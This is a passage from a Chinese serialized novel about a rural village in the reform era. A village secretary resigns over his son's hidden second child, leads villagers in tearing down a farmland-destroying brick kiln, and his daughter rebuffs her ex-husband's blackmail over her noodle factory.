贾志文笑道:“这烟可贵着呢,牌子货,和你平时抽的卷烟可不一样,都是好烟丝,你省着点抽。” 听到贾志文的话,表哥忙不迭地把整条烟往棉袄下塞,撑得衣襟鼓鼓囊囊的。 “那俺可得收好了,不能叫村里人看着,要不他们都要跟俺要烟抽了。” 贾志文不易觉察地鄙夷看着对方,嘴里还在亲热地说: “抽就抽吧,下次我来村里再给你拿几条。不过,你得和咱爹多说几句我的好话,我还等着带媳妇孩子回家过日子呢。” 表哥大包大揽:“你就放心吧,俺爹最听俺的了,俺和他说说,你下次来肯定能带巧燕和灵灵走。” 有一条烟做媒介,贾志文假模假样地和表哥亲热地聊了起来。 他很会哄人,直哄的表哥眉开眼笑,只觉得再没有人比贾志文更懂自己,差点忘了他之前还骂对面这人是狗日的陈世美。 见气氛烘托得差不多了,贾志文似乎是不经意间问了一句: “大舅子,你就没想再生个儿子?” 第148章 第148章开春的烦恼(补完)…… 开春了。 今年的许家村和往年不同,许大舅当上村支书后,组织全村进行机械化耕种,拖拉机轰隆隆地行驶在田间地头,极大地节省了人力。 加上年前农闲时兴修水利,村里的水渠沟壑都疏通了,灌溉效率大幅度提升。 随着天气升温,冰封了一冬的沼气池也开始发酵起来,隔几天就能产出不少沤制腐熟的优质肥料。将沼液加水稀释后浇在田里,庄稼立竿见影地就长得粗壮起来。 由于不需要省电,许大舅家的沼气灯到了夜里就长亮着,明晃晃的灯光在夜晚的村中极为显眼,村里人都羡慕不已。 而且因为沼气可以直接用来生火做饭,许大舅家里花在买煤粉上的钱都少了许多。 虽然本地离产煤的乌城不远,但整块的煤炭价格高,为了省钱,各家各户都是买回来煤粉,将其与泥土和水搅拌在一起,自制成家用的蜂窝煤。 不过煤粉再便宜也是要花钱买的,沼气就不一样了,除了开始盖池子时要花点钱,等池子盖好、产出沼气后,都是净赚的。 能做燃料,能当肥料,能省电,光是这三条好处,就足够吸引农村人了。 不少人来找许大舅,想在自家后院盖一个沼气池。 许大舅按照当初沼气科学研究教的修建和使用方法,组织人手在村里盖了好几个沼气池,让家家户户都能用上沼气。 春耕时节,村里处处洋溢着生机与活力,大伙儿都鼓足了干劲。 许巧燕的粉条厂也办得越来越红火。 厂里出产的粉条一部分运到矿务局的饭店和食堂,另一部分则对外批发,每天都有商贩守在粉条厂门口,等着粉条出货。 由于许巧燕干活时不仅卖力气,而且还动脑子,经她的手制出的粉条雪白筋道有弹性,比市面上的粉条好得多,吸引了不少回头客。 有人在买粉条时,还指名道姓地要许家村卖的粉条,一时间市场上出现了不少假冒商品。 在贺明珠的指导下,许巧燕给自家的粉条厂申请了商标,名字就叫“巧燕粉条”。 自从有了商标,每捆出厂的粉条上都多了一个印有“巧燕粉条”的标签,一目了然,一眼就知道粉条的厂家和出产地。 粉条厂的出货量越来越大,甚至到了许家村的土豆不够用、需要去邻村收购土豆的地步。 来粉条厂上班的村人也越来越多,从最开始只有寡妇和老太太,到现在村里的大姑娘小媳妇在农闲时都来厂里打零工赚钱。 现在村里人说起许巧燕,都是夸的,没有不长眼的再提什么她被知青耍了的老黄历,取而代之的则是说贾志文没眼光,没福气。 “俺当初就看那小子长得不像好人,贼眉鼠眼的,戴副眼镜装文化人。” “巧燕这么好的女子都不要,戴了眼镜又有啥用,还不是个睁眼瞎?” “城里人又咋样,能有俺们村里日子过得舒坦?城里房子比俺家柴房都小,转身都转不开,一大家子人住得比耗子还挤呐!” “那知青就后悔去吧,离了巧燕,他到哪也找不到这么好的女子了!” 这段时间,要给许巧燕说亲的人也不少,尽管她一直没松口,但耐不住热情的媒婆誓要踏破许大舅家的门槛。 当初贾志文回城后,媒婆给许巧燕介绍的对象不是丧偶带孩子的鳏夫,就是四五十岁还没结婚的大龄光棍,两者的家庭条件都不富裕,许巧燕嫁过去就是要吃苦,而且还不能带灵灵。 在许巧燕开始做粉条卖粉条后,媒婆介绍的对象条件就上了一个台阶,虽然还是鳏夫和光棍,但家里盖的是砖瓦房,每月都能吃一回肉,在村里算得上是殷实人家。 而当粉条厂开办起来后,媒婆介绍的对象就了不得了。 有的是在县里上班的,有的是高中生,还有的是没过结婚的黄花小伙子。 媒婆满脸堆笑:“人家说了,看中的是你这个人,有没有嫁妆无所谓,彩礼是一定要给的。至于你闺女,想带就带过去,不想带留在姥姥家也行,每个月出钱养着,都不是事儿。” 许巧燕:“……婶,俺不打算结婚了,俺就想把灵灵拉扯大,别的俺都不想。” 媒婆殷切地劝道:“俺知道你疼闺女,但闺女也不能陪你一辈子,她长大了也要嫁人。你身边怎么能没个知冷知热的?不说别的,平时有人替你搬搬扛扛,也省得你总是这么累。” 说这话的时候,许巧燕刚从肩上卸下来一麻袋土豆,足足有三十斤重。 许巧燕擦一把头上的汗,对缠着她不放的媒婆说:“婶,俺觉得现在挺好的,不想再招个男的来家烦我,这搬东西的事儿俺自己也能干,实在不行,俺招个力气大的男工,花点钱也一样。” 媒婆急了,脱口而出:“那哪一样?那工人晚上能给你暖被窝啊?” 许巧燕笑道:“婶,俺就实话跟你说吧,俺结过婚了,在俺眼里,世上的男人都一样,没得给自己添堵。再说了,俺现在开着粉条厂,人家是图俺这个人,还是图俺这个厂子,那可不好说。” 见媒婆还想说什么,许巧燕说:“婶,俺得说清楚,这厂子可不是俺个人的,俺家明珠出的钱,俺就出把力气,要论起来,厂子可是明珠的,俺就是拿工钱的长工。你和他们说说,别惦记俺了。” 媒婆悻悻地走了,回去还不知道要怎么宣扬许巧燕这一番大逆不道的话呢。 不过,现在许巧燕已经不在乎别人会怎么说自己了。 以前她在乎,怕别人上下翻飞的嘴皮子,自己把自己拘起来,画地为牢,一步都不敢走错。 自己受委屈不说,还连带着闺女也受委屈。 自从跟着贺明珠做生意,现在她想通了,嘴长在别人身上,爱怎么说就怎么说,日子是自己过的,舒不舒心只有自己知道。 许巧燕想通了,也做好准备被人说嘴,可真正敢当面说她的人没几个。 而且就算有人对着许巧燕指桑骂槐,粉条厂的女工也会替她骂回去,直骂得对方灰溜溜走开。 许巧燕感到曾经束缚自己的锁链在裂开,越来越不能限制她的行动。 忙完粉条厂的事,许巧燕准备回家,路上有不少村人和她打招呼。 “巧燕,忙完了啊?” “燕,来俺家吃饭,俺家今天新蒸的馍馍!” “燕子,你们厂的粉条给俺留二十斤,俺媳妇娘家要办席,点名要你们厂的粉条。” 许巧燕一一寒暄,笑呵呵地回了家。 没想到,家里的气氛却有些愁云惨淡。 许大舅蹲在屋檐下,一个劲的抽着闷烟,脸色沉沉的。 大舅妈站在一边抹着眼泪,时不时去觑大舅的神色,看起来既委屈又心虚。 灵灵看到许巧燕就扑了过来,搂着她的腰,把小脑袋埋在她的胸前,寻找着安慰。 许巧燕搂着灵灵,安抚地摸着她的背,努力平静地问道。 “爹,妈,这是怎么了?家里出什么事儿了?” “燕子,俺……你哥……” 大舅妈像是见到了救星,急忙地迎上来,离许巧燕还有两步时,又猛地停下,双手不安地在身上的围裙上抹来抹去。 许巧燕问:“妈,这是咋啦?” 大舅妈没说话,反而是灵灵闷声闷气地说了一句:“舅舅!” 许巧燕忽然意识到,从她回家起的这段时间,就没见到自家哥嫂。 “妈,俺哥和俺嫂子呢?” 大舅妈扯着围裙,低着头不说话。 这时,屋里忽然传来小孩的哭闹声,大舅妈急急忙忙进屋哄孩子。 许大舅重重叹了一口气,把手上的卷烟按灭。 许巧燕问:“爹,俺哥又闯什么祸了?” 许大舅张了张嘴,懊丧地搓了两下脑袋,半响,才艰难地开口: “他躲起来了,就为了生老二……” 许巧燕有些吃惊地说:“俺哥不是有儿子了吗,他躲起来干啥?人家偷着生孩子的都是想生个儿子,他有儿子了还躲个啥子?” 这时候计划生育已经被确定为基本国策,独生子女政策在全国实施,不管是城市还是农村,都不能生育二胎,否则就要被予以处罚。 不过这政策也不是一刀切,考虑到农村种地的现实需要,以及农民浓厚的传统思想,在农村开了一条口子,允许一胎生女的农户继续生育二胎。 但表哥显然不符合生育二胎的条件,当初头胎就生了个带把的,当时他欣喜若狂,逢人就炫耀自己有儿子了,被许大舅呵斥了好几次才收敛。 许大舅也觉得很丢脸,没想到他一个老党员,居然会有这样封建落后的儿子。 而且作为村支书,村里计划生育的落实情况也是对他的考核指标之一,结果自家儿子带头违法,这还让他怎么在村里开展工作? “他说一个儿子太少,他要多生几个……真是气死俺了,他要是不回来,俺就当没这个儿子!” 大舅妈抱着孙子从屋子里冲出来,急得说:“老大两口子也没错,一个男娃怎么够,家里可不得多几个男娃撑门面,要不然种地都没个帮手的。” 许大舅斥道:“都像你这么想,中央的政策还要怎么落实!村里的耕地就那么多,大家都使劲生孩子的话,总有一天地不够分,所有人都没饭吃!” 大舅妈被吓一跳,低声嘟囔:“俺们老农民哪懂那么多的大道理……” 许大舅生气地说:“老大就是被你惯坏的!要不是你偷偷给他钱,他能跑出去吗 ?” 大舅妈自知理亏,抱着孩子又回屋了。 许巧燕听明白了前因后果,劝道:“爹,你先别生气,俺哥俺嫂子都跑了,你生气也没用。咱们现在想想他能躲到哪儿,赶紧把他找回来吧。” “俺找了,外村的亲戚家、你嫂子娘家都说没见着他俩,县里也去了,还是没找着。贵生说这事不能闹大,要悄悄地找——可要是一直找不着人,等他俩抱着孩子回来,最后不还是要闹大吗?” 许大舅颓然地说:“唉,俺这个村支书当得真是没底气。俺没把你哥教好啊……” 一向刚强的许大舅此时却像是已经被打倒了,挺直的腰板驼了下来,脸上的皱纹格外苍老。 许巧燕不忍道:“爹,俺哥不会这么不懂事的,俺现在就去找他,肯定能找到的!” 许大舅摇摇头,背着手进了屋,他的背影萧条而落寞。 自从表哥藏起来生二胎,许大舅再在村里宣讲计划生育政策时,自己心里就没了底气。 他想从村支书的位置上退下来,但乡里不让,许大舅把村里管得井井有条,村民日子越来越红火,找不到比他更合适的村支书人选。 但许大舅心意已决,自己不配当村里的带头人,不能再继续占着村支书的位置了。 在他和乡里几番拉扯后,乡里终于无奈同意了许大舅的辞职申请,但要求他必须先干完春耕这几个月,直到乡里找到合适的接班人选。 为了站好最后一班岗,许大舅决心要替村里解决一个祸及子孙的大麻烦 ——毁田的砖窑。 第149章 第149章砖窑大战 许家村的砖窑此时正是一片热火朝天的劳动场面。 小工们推着手推车,来往于耕地和砖窑之间,将一车车的土倒在砖窑后面的空地上,堆成了一座土山;在另一侧的空地上,大量烧制好的砖坯正在晾晒中,密密麻麻的一字排开,占据了不少地方。 在离砖窑不远处,一块将近三十亩的耕地被挖得千疮百孔,支离破碎。 由于砖窑所制的是实心红砖,以黏土为原材料。因此许金财承包的地都是村里上好的农田。 原本肥沃的表层泥土被挖走,留下大大小小的不均匀土坑。不断有人继续在已经满目疮痍的耕地上取土,将土坑扩大为沟壑,像是一道道横亘在大地的伤疤。 砖窑附近的村路上有不少人等着买砖,市场需求量大,一车砖转手出去就能挣不少钱。 许金财穿着不合身的垫肩西服,一双三接头皮鞋上满是土,踢踢踏踏地走在砖窑里,冲着旁边来买砖的人大声地说: “不行,你这价低了,没这个数不要谈,别人都是抢着买,当官的买的都是俺家的砖,你要就要,不要就算,别耽误俺的时间,俺没空跟你磨嘴皮子。” 他走到砖窑旁边,探头朝里看了一眼,不满地吆喝道: “快点快点,在那儿磨蹭什么?俺付你们工钱是让你来这儿坐着的?赶紧的,别耽误了出窑!” 许金在砖窑周围走了一圈,骂了一通后,这才心满意足地回到砖窑旁的“办公室”。 说是办公室,其实不过是间简陋的平房,配了一副村里小学替换下来的桌椅,平时就在这里面卖砖、算账、结工钱。 管账的是他兄弟,平时守着砖窑,有什么事他能处理的就处理了,实在处理不了再去找许金财。 但今天,许金财兄弟脸上露出不安的神色,左右看看,关上木门,转身对许金财说: “你听说了没?许国忠要整俺们呢!” 许金财不以为意地说:“能的他,当个村支书真当自己是个官了,还想整俺家,俺弄不死他。” 他兄弟没那么自信,犹豫着说:“你要不给他送点吧?俺看他就是想等着俺们送礼……” 许金财瞪起眼睛:“他敢!” 嘴上说的很硬,他还真有些心虚。 难不成许国忠现在转性子了,想趁着当村支书时从村里捞点儿? 要不都说当官的是天下乌鸦一般黑,天上飞过个大雁都得拔根毛,见了粪车都要舀一勺尝尝咸淡。 要不,就给他送点? 许金财谁也没说,自己想了半响,回家打开锁柜,取出一摞钞票,想了想,又从里面抽出去几张,最后用报纸包起来,揣在怀里,趁着天黑去了许国忠家。 许大舅家正在吃晚饭,大舅妈不肯和大家一桌吃饭,自己抱着孙子在灶房吃。 许巧燕劝了好几次,大舅妈只抹着眼睛说:“俺知道,你们都怨俺,俺没脸和你们一起吃饭。” 许巧燕无奈地说:“妈,你这是啥话,俺哥俺嫂恁大的人,他俩打定主意要藏起来生孩子,难不成还能怪到你身上?” 大舅妈嗫喏了会儿,说:“可是你爹怪俺呢,他好不容易当上村支书,因为你哥,他当不了了,可不是要怨俺么……” 许巧燕都不知道要说什么,索性也不劝了,强行拽着大舅妈回了屋。 见两人回来,许大舅叹了口气,说:“坐下来一起吃吧。” 大舅妈别别扭扭地坐下,许巧燕拿了新的碗筷放到她面前,一家人才安安稳稳地吃饭。 到了要睡觉的时候,门外突然传来敲门声,声音极低,像是怕被人发现。 许大舅披着衣服去开门,见到门口站着的是许金财,他一愣,问道:“你来做啥?” 许金财堆着笑,想侧身从门缝钻进去:“俺有事找你,咱们进去说,进去说……” 听许金财这么说,许大舅反倒把住了门,不许他进来。 “别进去,有话就在这儿说吧。” 许金财满脸都是笑,礼貌地推搡着许大舅:“不成不成,可不能在门口说,得进去说,你就让俺进去吧……” 许大舅比他高壮,任由对方如何动作,也巍然不动。 “在这儿说不清的话,在家进更说不清了。你要么就现在说,要么你就回去吧。” 许大舅倔起来像头老毛驴,许金财无法,只好借着衣服的掩护,将报纸抱着的一包现金塞到许大舅手里。 “俺以前不懂事,得罪了支书,您就别和俺计较了,咱们以后都好好的行不行?” 许大舅头一次被人送礼,还是一摞现金,第一时间没反应过来,直到报纸散开一角,露出里面崭新的大团结,他才意识到这是什么。 许大舅像被火炭烫手,忙不迭地甩开纸包,怒道:“你这是干啥!” 许金财飞快地从地上捡起纸包,试图再次塞给许大舅。 “俺没啥意思,就是表示表示,你别嫌少,以后还有……俺们乡里乡亲的,还是得好好处,要不然总闹矛盾 ,大家还怎么见面?” 许大舅生气道:“俺和你个人没矛盾,俺家也和你家没过节。咱们公事公办,不讲私人,俺不要你的钱,你也别害俺!” 送礼都送不出去,许金财也生气了。 “什么叫俺害你,分明是你在害俺!俺开个砖窑怎么着你了,就这么看不惯俺家发财?!先前拿砖窑的事吓唬过俺一次就算了,这次又来,你就是成心就和俺家过不去!” 许大舅骂道:“你开砖窑干的是断子绝孙的营生!老百姓遭殃,你们家牟利!你把田地都挖成坑了,土都刮干净一层,以后还咋叫人种地?!” 许金财不甘示弱地说:“种什么地,你就没看着村里人都在俺家砖窑做小工,每个月不少挣,比种地还有赚头嘞!” 许大舅说:“你把自家承包田地的土挖干净,你就叫人去别人地里偷土,把人家田里挖得乱七八糟,你仗着家里兄弟多就欺负人,咋心眼这么坏呢?你当这还是旧社会,还想当地主老爷啊!” 许金财心虚道:“那咋了,人家都没说啥,你倒是管得宽,有本事让公安来抓俺啊!” 许大舅大声地说:“俺是村支书,俺就有责任来管!” 随着两人的争吵声越来越大,附近的住户都闻声出来看热闹,村狗也汪汪吠叫起来,原本宁静的夜晚变得喧闹起来。 有人说:“金财,你办砖窑就办,干啥把地都占了,你这事就干得不地道!” 除了用来挖土的三十亩地以外,许金财还把砖窑周围的地也占了,用来堆放成品砖和晾晒砖坯。 在推行土地承包责任制时,村里的田地就都被各户承包了,没有所谓的无主地,许金财占的地都是别人家的,让人家没办法正常种地。 被霸占了承包地的村民气不过,上门讨说法,却被许金财家打了出来,无奈之下,只得忍气吞声。 时间久了,这块地反而像是成了许金财家的地似的。 有老头指着许金财骂道:“把你小子能的,你就能吧,你喝的都是老百姓的血!” 还有人说:“四叔,那砖窑不能叫他办了,天天烧砖,冒出来的烟把俺家的玉米都熏坏了!” 其他人附和:“对!得关了砖窑,不然俺们的庄稼都要被熏死了!” 由于砖窑是土法造砖,没有烟囱,烧砖时排出的烟就贴着地皮跑。有风的时候更严重,风往哪儿刮,烟就往哪儿跑。烟跑到哪儿,哪儿的庄稼就跟着倒霉。 离砖窑越近的承包地,庄稼就受损越严重的。由于长时间被烟熏,庄稼长势不好,严重减产,最后只能贱卖,每亩地也损失不少钱。 不仅是离得近的庄稼才遭殃,村里很多人家的田地里都曾经出现过这种情况。 说起来,之所以村里的人都对许金财有意见,完全是因为这家伙太独太贪,不舍得把兜里的钱掏出来弥补别人的损失。 要是他肯给减产的村民补偿一些钱,人家也不至于这么恨他。 许金财一看人多了,而且都站在他的对立面,寡不敌众,把纸包往怀里一揣,低着头就走了,临走扔下一句狠话: “许国忠,你要是敢整俺,俺就把你从村支书的位置上整下来!自己还一屁股屎,充什么大人物!你等着吧,俺非把你搞下来!” 对于许金财的威胁,许大舅毫不畏惧。 他先是召集村委班子开会,一致通过决议,要求许金财家补交该砖窑所占田地的承包金,每亩地四十块,一共是三十亩地,一年就一千二百快,四年下来,共计拖欠承包金四千八百块钱。 其次,当初承包田地的协议书终止,要求许金财拆了砖窑,恢复田地,完成农田的复耕。 此外,还要赔偿被他霸占田地和庄稼减产的村民的损失。 许金财当然不肯。 不拆砖窑,不还承包地,也不赔偿。 开玩笑,要是按村委要求的来,他这砖窑岂不是成了给村里开的,挣点钱全填进去了。 见他不配合,许大舅也不多话,立刻组织本村民兵小队,带着铁锹锤子,要强行拆了砖窑。 许金财家也不甘示弱,全家齐上阵,男女老少拿着柴刀斧头,摆出一副要拼命的架势。 这边砖窑是剑拔弩张,而另一边的粉条厂,一个不速之客找上了门。 “你说,你知道俺哥俺嫂子藏哪儿了?” 第150章 第150章拆砖窑 许巧燕狐疑地看着来人。 “贾志文,你找俺说这干啥,俺哥俺嫂恁大的人想去哪儿就去哪儿,什么藏不藏的,胡咧咧什么!” 来粉条厂的人正是贾志文。 他一双眼睛滴溜溜地乱转,将粉条厂内外看得清清楚楚。 当看到堆积如山的土豆红薯,棚子晾着的如瀑布般的粉条,他眼中的光越来越亮,说一句精光四射也不为过。 “燕子,你拿这话糊弄做什么,再怎么说我们也是夫妻,俗话说得好,一夜夫妻百日恩,我当然是希望你好的。你哥的事我都知道了,他躲起来不就是为了生二胎嘛。” 许巧燕不客气地说:“这和你有什么关系,俺和你早就不是一家的,俺家的事你管不着。你要是实在没事可做,就跟俺去公社把离婚证扯了!” 贾志文没想到许巧燕会变得这么凶巴巴,摆明一副和他没什么可说的模样,和他记忆里的小村姑完全不一样,一时间有些错愕。 “我不同意离婚,为了灵灵,我们也不应该离婚。你不能让孩子从小就没爹。” 许巧燕冷冷地说:“没爹?俺们早就当你死了!你死了这么多年,现在又诈什么尸!” 几次三番被强硬地顶回来,饶是贾志文来之前做足了心理准备,此时也不由得恼火起来。 “许巧燕,你别蹬鼻子上脸,敬酒不吃吃罚酒!我告诉你,我知道你哥在哪儿,我有证据证明他违反计划生育!你爹不是村支书吗?村支书就是这么带头对抗国家政策的?” 图穷匕见,贾志文终于不装了。 许巧燕并没有被吓到,她早有预料,对此毫不意外。 “俺就知道,你狗日的躲了这么多年,来俺家肯定没安好心!” 贾志文却说:“都是被你逼的!你这个农村泼妇,没有一点修养,逼得我只能用这种方式来说话。要知道我本来想好好和你谈一谈的……” 许巧燕不客气地打断他的话:“别扯犊子了,你说吧,你想干啥?” 贾志文忿忿地从鼻子里喷出口气,翻翻眼皮,打量了许巧燕两眼,嘴巴往粉条厂的方向努了努。 “我们还是夫妻,这粉条厂应该有我一份吧?” 砖窑里,许大舅正和许金财对峙。 许大舅说:“让开!这地不包给你家了,以后谁也别想在俺们村开砖窑,干断子绝孙的营生!” 许金财扯着嗓门大喊:“许国忠你个狗日的,你装什么装,你不就是想整俺吗!俺告诉你,今天就算县委书记来了,也别想拆了俺家的砖窑!” 许大舅说:“许金财,你光想着赚钱,把村里的田给毁了,那么肥的土,全被你挖走做了砖,地上都是土坑,这地还能耕吗?!” 许金财梗着脖子说:“地是俺花了钱租来的,取点土挖个坑的影响能有多大?再说了,俺只管烧砖,其他的管不了!俺给了钱,俺想怎么使田地就怎么使!” 许大舅抓住他话语中的漏洞,问道:“花钱租地?你给村里交过一分钱?” 许金财语塞,心虚道:“俺现在就把钱补上……不过你们拿上钱就不能再和俺家的砖窑过不去了。” 许大舅说:“俺宁愿不要你的钱,也要把砖窑拆掉!钱会花完,只有田地是世世代代留给子孙的!俺们农民一辈子只求有块自己的地,谁也不能抢走!” 听了许大舅的话,一起来拆砖窑的村民激动地说: “说得对!俺们农民就指着田地活命了,你别想祸害村里!” “钱花光了就没了,可只要地还在,就还 能活!” “许金财你让开,这砖窑必须要拆!” 许金财急了,把手里的镰刀往旁边的墙上一砍,铛的一声闷响。 “俺看你们谁敢动俺的砖窑!” 他指着许大舅的鼻子痛骂:“许国忠你个畜生,俺没给你送礼你就盯着俺整!你们别叫他给哄了,许国忠就不是个好玩意!他当个小官就把自己当回事儿了!今天能整我,明天就能整你们!” 村民们哄笑道:“俺家又没开砖窑,四叔整俺干啥?自从四叔当上村支书,俺们村日子好过多了,村里小学都有钱修教室了,俺家娃娃上学不用受冻,大队还给发本子和铅笔。你骂四叔,俺第一个和你过不去!” “就是!四叔还谋划着给村里老人交劳保呢!你开个砖窑赚大钱,自家大伯穷得连病都看不起,躺在家里等死,你管过吗?还不是四叔给背到县医院,自家垫钱看好了病!” “你干的事儿,比黄世仁都狠!俺去你砖窑干活,天还没亮你就叫人上工,天黑了也不叫人走,说是管饭,锅里就煮点白菜土豆,一丝油星也见不着。以前地主家长工吃得都比这好!” 许金财说不过众人,气得呼哧带喘,把一腔的怨恨都发泄在许大舅身上。 “许金财,俺记住你了,你给俺等着,以后这村里有你就没俺!” 有人嘀咕:“要是没你就好了,这村里不需要许金财,多几个许国忠才是好事呢。” 许金财被气坏了,原本打算留到最后的杀手锏,他现在就吼了出来。 “你们还当许国忠是好人,俺告诉你们,他天天宣传什么计划生育,不叫你们生娃娃,背地里早就让他儿子躲起来生老二去了!” 听了这话,人群哗然。 后世有人把村干部的工作总结为“催粮催款,刮宫流产”。也就是说,除了要征收农业税和提留统筹之外,村干部的另一项重要工作是要贯彻计划生育政策。 从古至今,农民都要种地纳粮,直到二十一世界才废除了农业税。因此,对于前者,村民的抵触心理并不算强烈,甚至觉得这是天经地义的事。 然而,对于后者,村民却极为反感,毕竟古代只会催生,治下小民生得越多越好,不婚还要予以处罚,而农民本身也有强烈的生育意愿。而现在却要对其进行限制,自然让人无法接受。 许大舅在村中最头疼的工作也是计划生育这一块儿。 管轻了不行,乡里和县里层层压下指标,由不得许大舅不执行;管重了也不行,要是动辄拉人打胎,会激起村里的反抗心理。 要知道在其他村里,或多或少因为计划生育而出现冲突,最严重的甚至闹出人命。 幸好现在村里日子越来越好,大伙儿一心都扑在致富上,也愿意给许大舅一个面子,这才没有酿出什么事故。饶是如此,村里也有不少计划外生育的“黑孩子”。 但现在,情况出现变化了。 许金财歇斯底里地大喊:“许国忠让他儿子跑到外地藏起来生孩子,他知法犯法,就不配当村支书!你们现在听他的,将来都得被他害了!” 村民们面面相觑,不知该信还是不该信。 一个年长些的村民站出来问许金财: “你凭啥说国忠家小子躲起来生孩子了?光凭一张嘴,你就想让俺们相信?谁知道你是不是在陷害人家?” 许金财得意地说:“俺亲眼见了,俺看着许国忠小子领着媳妇跑出村,他自个儿说要多生儿子,一个不够,越多越好。” 与此同时,粉条厂发生了同样主题的对话。 “贾志文,你拿俺哥的事来吓唬俺?你还要不要脸!” 面对许巧燕的指责,贾志文厚颜无耻地说: “我吓唬你什么了?我说的都是事实,要不要答应是你的事。我来之前可打听了,你爹这村支书当得有派头啊,我们结婚那会儿他还只是个生产队长,几年没见,老头子还升官了,真是了不得。再过几年,他是不是得当县长啊?” 像是说了什么好笑的话,贾志文叽叽咯咯地笑了起来。 许巧燕冷着脸说:“俺哥是俺哥,俺爹是俺爹,他犯了法,凭什么找到俺爹头上!” 贾志文轻蔑地说:“就凭你爹当着这个村支书!” “他要脸,就得把他儿子的事盖过去,屁股下面都是屎,他不坐也得坐!” 砖窑,许金财说出类似的话: “许国忠当着村支书,自己知法犯法,包庇亲儿子生老二,以后还不知道是不是要生老三、老四、老五……俺们被逼得只能生一个娃,他倒好,家里都是娃娃!” 见村民脸上出现动摇之色,许金财在火上添了把柴。 “许国忠为啥要拆俺家砖窑,就是要把田地腾出来,将来给他的孙子们留着啊!你们可千万不能被他给当枪使了!就算拆了俺家砖窑,田地也不归你们!” 粉条厂。 贾志文对许巧燕说: “话我都说清楚了,事情的轻重你也应该明白,虽然你没文化,也该知道什么叫‘只许州官放火,不许百姓点灯’,要是你哥的事让村里知道了,你爹村支书的位子还坐得稳吗?你还能靠着你爹的关系开粉条厂吗?” 贾志文把粉条厂开办的功劳都记在了许大舅身上,他打心底里看轻许巧燕,不相信她一个农村妇女能凭自己的本事开起厂子。 要是没有许大舅这座靠山,光凭许巧燕,粉条厂早就关门倒闭了。 许巧燕没有纠正贾志文的观念,而是直接问他:“你想要多少钱?” 贾志文露出得逞的笑容,贪婪而含蓄地说:“你开厂子不容易,我也不多要,你每个月给我一千块,我就不把你哥的事儿说出去。” 见许巧燕恨恨地瞪着他,贾志文还好心补了一句:“这钱说是给我,也只是我暂时收着,将来不都是灵灵的吗?” 许巧燕说:“俺要是不答应呢。” 贾志文冷哼一声:“那你就别怪我不客气了!” 砖窑。 面对许金财的指责,许大舅沉默不语。 有村民不确定地问:“国忠,他说的是真的吗?你家小子真躲起来了?” 许金财插嘴道:“俺说的可没一句假话!要是俺说谎,就叫天打雷劈!” 他转而对许大舅说:“许国忠,你敢不敢认?” 许大舅紧绷着脸,在众人各异的目光中,像是被逼到了绝境。 “是,他说的是真的。” 许大舅终于开口,承认了所有许金财的指控。 人群轰地一声吵了起来,许金财大笑:“哈哈哈哈!俺说的就是吧!他许国忠就不是个好人,你们都叫他给骗了!” 有人不可置信地问许大舅:“四叔,你咋能干这种事?你不叫俺们生老二,怎么你自家就能生?!” 还有人说:“俺还信了你的话,不叫俺媳妇怀娃娃,你咋能这样!” 也有人说:“国忠是国忠,他儿子是他儿子,不能把儿子干的事推老子头上。” 有人听了反驳:“要不是他当村支书包庇,他儿子有那么大胆?别的村要是敢多生,那可是要扒房牵牛的!” 村民吵得不可开交,许金财高兴得直笑,看许国忠还怎么拆他的砖窑! 正在这时,许大舅的声音突然响起。 “都别说了!听俺说!” 人群渐渐安静下来,看向许大舅。 许大舅说:“俺没教好孩子,这是俺的错,但俺从来没想包庇家里人,俺儿子犯了错,该怎么惩罚就怎么惩罚,俺多一句都不会说。” 许金财急忙道:“谁信你咧!你在这儿说得再好听,回去还不是跟你儿子住一家?你就那一个儿子,还能真不管他?” 许大舅并不看许金财,而是继续说道:“俺不是能人,也没啥大本事,大伙儿相信俺,才叫俺当了这个村支书。可俺辜负了大伙儿,俺没脸再干下去了……” 说到这儿,在场的大部分人都听出了许大舅的意思,就连许金财都狐疑地看了过来。 许大舅说:“这个村支书,俺不能再当了。但这个砖窑,是一定要拆!俺当村支书的最后一件事,就是要拆了这个砖窑!” 许金财没想到许大舅被逼到这份儿上了,居然还没忘了要拆砖窑,一时气急,指着许大舅“你你你”了半天。 他忙对村民们说:“你们别听他挑拨!俺给钱!俺包地给大钱!只要留着砖窑,赚回来的钱全村都能分到!可要是拆了,你们就一分钱都拿不到了!” 许大舅不理他,只对村民们说:“俺们许家村不是个种地的好地方,沟壑多,平地少,好田地就更少了。这么肥的地,被挖得乱七八糟,泥都被运走做砖了,留给村里的就剩满地的坑。别说包地的钱收不上来,就算给了钱,这地也恢复不了,再也不能种了。” 这一番振聋发聩的话,村民们没有不为之动容的。 只有农民才会将土地视为命根子,也只有农民才知道瘦田要花多长时间才能养成肥田。 一滴汗珠砸地上摔八瓣,每一寸土地都浸满着农民的血和汗。 许大舅接着说:“俺们农民不能只想眼前,也要替子孙想一想。砖窑就算给钱,又能给多少年?四年就把地挖成这样,全村的田土都运到砖窑也不够用的。没了地, 就没了安身立命的根本,日子还能过得下去吗?!” 许金财试图说服村民:“俺给钱!与其种地累死累活的,把地包给俺、白白拿钱不是更好吗?” 然而,村民们已经做出了他们的选择。 一锤子,两锤子,三锤子…… 村民们抡起大锤,砸向圆拱状的轮窑,灰尘扑扑地落下来,原本结实的窑身裂开了一条条的缝。 许金财家的人试图阻拦,但他们又哪是人多势众的村民的对手,不多时就被扔出了砖窑。 许金财媳妇拍着地大哭:“哎哟哟哟这是不给人活路了,这是要逼死俺们家啊!还有没有王法了!” 许金财心痛不已,怒道:“许国忠,你给俺等着,俺这就到乡里告你去!” 粉条厂。 许巧燕对贾志文说:“你告去吧,爱去哪儿告去哪儿告,俺一分钱都不会给你。” 贾志文恼羞成怒:“好好好,这是你说的,你可别后悔!” 许巧燕说:“俺才不会后悔,俺这辈子唯一后悔的就是嫁了你这个王八羔子,早知道当年就不在知青点帮你干活,累死你个鳖孙才好呢!” 贾志文气得脸色涨红如猪肝:“行,行,我记住了,你给我等着,我跟你没完!” 许巧燕啐了一口:“快滚!多和你说一句,俺隔夜饭都要吐出来了!” 贾志文狼狈不堪地离开了许家村。 当他在路口等私人中巴车时,村里出来一行人,模样狼狈,头上身上都是灰尘,也正在等车。 “日尼玛的,许国忠真不是个东西,说拆真拆,这村里是待不下去了……” “咋办,真要去乡里告他?听说他跟那些干部关系可好呢,能告倒吗?” “光知道许国忠的小子藏到乌城,不知道他藏谁家了,乡里能信俺们吗?” 贾志文竖起耳朵偷听,当听到了几个关键词时,他眼睛一亮。 “农民兄弟,你们是不是要去乡里啊?” 贾志文主动搭讪,对面几个人露出警惕的神色。 其中,矮胖西装男不耐烦地说:“俺们和你不顺路。” 